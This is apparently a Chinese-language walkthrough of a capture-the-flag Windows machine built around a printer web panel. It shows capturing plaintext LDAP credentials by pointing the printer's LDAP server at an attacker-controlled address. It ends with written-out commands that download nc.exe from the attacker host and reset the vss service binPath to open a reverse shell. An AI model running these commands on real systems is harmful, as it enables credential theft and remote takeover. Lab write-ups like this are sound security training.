能够看见开启了很多服务，http，SMB，ldap 等
enum4linux 没有发现能够匿名登录的分享文件夹
目录爆破没有能够利用的信息
流动目录
浏览器关上 80 端口服务，首页是一个打印机的展现页面
关上 settings 页面，展现了一个打印机的设置页。
咱们用以下关键字
ldap windows printer 389 exploit
在谷歌找到了这篇文章
注意这段话：
To exploit this weakness, we simply need to reconfigure the MFP to use a different IP address for the LDAP server. Obviously, the selected IP address needs to be under our control and listening on port 389 (unsecured LDAP). When the MFP eventually makes an LDAP query, it should transmit the credentials back to us in plaintext.
当把 Server Address 字段换成一个咱们能够管制的机器，ldap 服务就会以明文返回一个治理明码
咱们在 settings 页面，把 Server Address 改成10.10.14.15(就是 tun0 的地址)
同时，在咱们的 kali 开启一个 389 端口的监听
点击update
收到 ldap 给咱们的返回：

把 nc 从 kali 下载到靶机：
powershell -c “(new-object System.Net.WebClient).DownloadFile(‘http://10.10.14.15:8000/nc.exe’,’C:\Users\svc-printer\desktop\nc.exe’)”
批改 vss 服务的二进制文件门路
sc.exe config vss binPath=”C:\Users\svc-printer\desktop\nc.exe -e cmd.exe 10.10.14.15 4242″
与此同时在 kali 开启监听端口 4242
nc -lnvp 4242
重启 vss 服务
